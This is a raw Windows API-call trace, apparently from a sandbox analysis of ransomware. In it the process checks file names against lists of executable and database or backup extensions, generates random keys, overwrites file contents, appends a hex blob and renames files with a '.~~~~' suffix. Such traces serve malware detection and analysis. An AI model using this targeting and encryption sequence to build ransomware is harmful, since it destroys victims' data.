	[0083.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab570
	[0083.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab570 | out: hHeap=0x300000) returned 1
	[0083.884] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0083.885] GetLastError () returned 0x0
	[0083.885] GetLastError () returned 0x0
	[0083.885] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0083.885] GetLastError () returned 0x0
	[0083.885] GetLastError () returned 0x0
	[0083.887] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffd9e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.887] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x262, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x262, lpOverlapped=0x0) returned 1
	[0083.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.887] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.887] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.887] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.887] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.888] CloseHandle (hObject=0x11c) returned 1
	[0083.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6750
	[0083.888] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf.~~~~")) returned 1
	[0083.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6750 | out: hHeap=0x300000) returned 1
	[0083.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0083.889] GetLastError () returned 0x0
	[0083.889] RtlWakeConditionVariable () returned 0x365f70
	[0083.889] GetCurrentThreadId () returned 0xaf0
	[0083.889] GetCurrentThreadId () returned 0xaf0
	[0083.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaaf0
	[0083.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab768 | out: hHeap=0x300000) returned 1
	[0083.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9308 | out: hHeap=0x300000) returned 1
	[0083.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab768
	[0083.889] lstrlenW (lpString=".scr") returned 4
	[0083.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0083.889] lstrlenW (lpString=".cmd") returned 4
	[0083.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0083.889] lstrlenW (lpString=".dll") returned 4
	[0083.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0083.889] lstrlenW (lpString=".bat") returned 4
	[0083.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0083.890] lstrlenW (lpString=".cpl") returned 4
	[0083.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0083.890] lstrlenW (lpString=".sys") returned 4
	[0083.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0083.890] lstrlenW (lpString=".msc") returned 4
	[0083.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0083.890] lstrlenW (lpString=".com") returned 4
	[0083.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0083.890] lstrlenW (lpString=".lnk") returned 4
	[0083.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0083.890] lstrlenW (lpString=".msp") returned 4
	[0083.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0083.890] lstrlenW (lpString=".pif") returned 4
	[0083.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0083.890] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0083.891] lstrlenW (lpString=".sqb") returned 4
	[0083.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0083.891] lstrlenW (lpString=".ost") returned 4
	[0083.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0083.891] lstrlenW (lpString=".txt") returned 4
	[0083.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0083.891] lstrlenW (lpString=".mdt") returned 4
	[0083.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0083.891] lstrlenW (lpString=".BDB") returned 4
	[0083.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0083.891] lstrlenW (lpString=".eql") returned 4
	[0083.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0083.891] lstrlenW (lpString=".DBF") returned 4
	[0083.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0083.891] lstrlenW (lpString=".EQL") returned 4
	[0083.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0083.891] lstrlenW (lpString=".FDB") returned 4
	[0083.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0083.891] lstrlenW (lpString=".EDB") returned 4
	[0083.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0083.891] lstrlenW (lpString=".DACPAC") returned 7
	[0083.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0083.892] lstrlenW (lpString=".VHD") returned 4
	[0083.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0083.892] lstrlenW (lpString=".DBV") returned 4
	[0083.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0083.892] lstrlenW (lpString=".dacpac") returned 7
	[0083.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0083.892] lstrlenW (lpString=".sdf") returned 4
	[0083.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0083.892] lstrlenW (lpString=".accdb") returned 6
	[0083.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0083.892] lstrlenW (lpString=".DBX") returned 4
	[0083.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0083.892] lstrlenW (lpString=".MDT") returned 4
	[0083.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0083.892] lstrlenW (lpString=".SQB") returned 4
	[0083.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0083.892] lstrlenW (lpString=".vhd") returned 4
	[0083.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0083.892] lstrlenW (lpString=".bac") returned 4
	[0083.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0083.892] lstrlenW (lpString=".mdf") returned 4
	[0083.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0083.892] lstrlenW (lpString=".BAK") returned 4
	[0083.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0083.893] lstrlenW (lpString=".BAC") returned 4
	[0083.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0083.893] lstrlenW (lpString=".dbs") returned 4
	[0083.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0083.893] lstrlenW (lpString=".vhdx") returned 5
	[0083.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0083.893] lstrlenW (lpString=".NDF") returned 4
	[0083.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0083.893] lstrlenW (lpString=".dat") returned 4
	[0083.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0083.893] lstrlenW (lpString=".DBS") returned 4
	[0083.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0083.893] lstrlenW (lpString=".CKP") returned 4
	[0083.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0083.893] lstrlenW (lpString=".edb") returned 4
	[0083.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0083.893] lstrlenW (lpString=".PST") returned 4
	[0083.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0083.893] lstrlenW (lpString=".dbf") returned 4
	[0083.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0083.893] lstrlenW (lpString=".SQL") returned 4
	[0083.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0083.893] lstrlenW (lpString=".pst") returned 4
	[0083.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0083.893] lstrlenW (lpString=".dbv") returned 4
	[0083.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0083.894] lstrlenW (lpString=".SDF") returned 4
	[0083.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0083.894] lstrlenW (lpString=".dtxs") returned 5
	[0083.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0083.894] lstrlenW (lpString=".db3") returned 4
	[0083.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0083.894] lstrlenW (lpString=".OST") returned 4
	[0083.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0083.894] lstrlenW (lpString=".dbx") returned 4
	[0083.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0083.894] lstrlenW (lpString=".DB3") returned 4
	[0083.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0083.894] lstrlenW (lpString=".DAT") returned 4
	[0083.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0083.894] lstrlenW (lpString=".VHDX") returned 5
	[0083.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0083.894] lstrlenW (lpString=".ndf") returned 4
	[0083.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0083.894] lstrlenW (lpString=".DB") returned 3
	[0083.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0083.894] lstrlenW (lpString=".sql") returned 4
	[0083.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0083.894] lstrlenW (lpString=".MYD") returned 4
	[0083.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0083.895] lstrlenW (lpString=".DBT") returned 4
	[0083.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0083.895] lstrlenW (lpString=".ACCDB") returned 6
	[0083.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0083.895] lstrlenW (lpString=".fdb") returned 4
	[0083.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0083.895] lstrlenW (lpString=".bak") returned 4
	[0083.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0083.895] lstrlenW (lpString=".myd") returned 4
	[0083.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0083.895] lstrlenW (lpString=".DTXS") returned 5
	[0083.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0083.895] lstrlenW (lpString=".ckp") returned 4
	[0083.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0083.895] lstrlenW (lpString=".dbt") returned 4
	[0083.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0083.895] lstrlenW (lpString=".db") returned 3
	[0083.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0083.895] lstrlenW (lpString=".TXT") returned 4
	[0083.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0083.895] lstrlenW (lpString=".MDF") returned 4
	[0083.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0083.895] lstrlenW (lpString=".bdb") returned 4
	[0083.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0083.896] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0083.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.896] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0083.897] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.897] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0083.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.897] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20388712206) returned 1
	[0083.897] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9bd6fcf0, dwHighDateTime=0x1d60e1e)) 
	[0083.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0083.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0083.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0083.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9308
	[0083.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9308 | out: hHeap=0x300000) returned 1
	[0083.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab4c8
	[0083.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab4c8 | out: hHeap=0x300000) returned 1
	[0083.898] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0083.898] GetLastError () returned 0x0
	[0083.898] GetLastError () returned 0x0
	[0083.898] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0083.898] GetLastError () returned 0x0
	[0083.898] GetLastError () returned 0x0
	[0083.900] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffaad, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.901] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x553, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x553, lpOverlapped=0x0) returned 1
	[0083.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.901] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.901] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.901] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.901] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.901] CloseHandle (hObject=0x11c) returned 1
	[0083.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6750
	[0083.901] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.~~~~")) returned 1
	[0083.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6750 | out: hHeap=0x300000) returned 1
	[0083.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0083.905] GetLastError () returned 0x0
	[0083.905] RtlWakeConditionVariable () returned 0x365f70
	[0083.905] GetCurrentThreadId () returned 0xaf0
	[0083.905] GetCurrentThreadId () returned 0xaf0
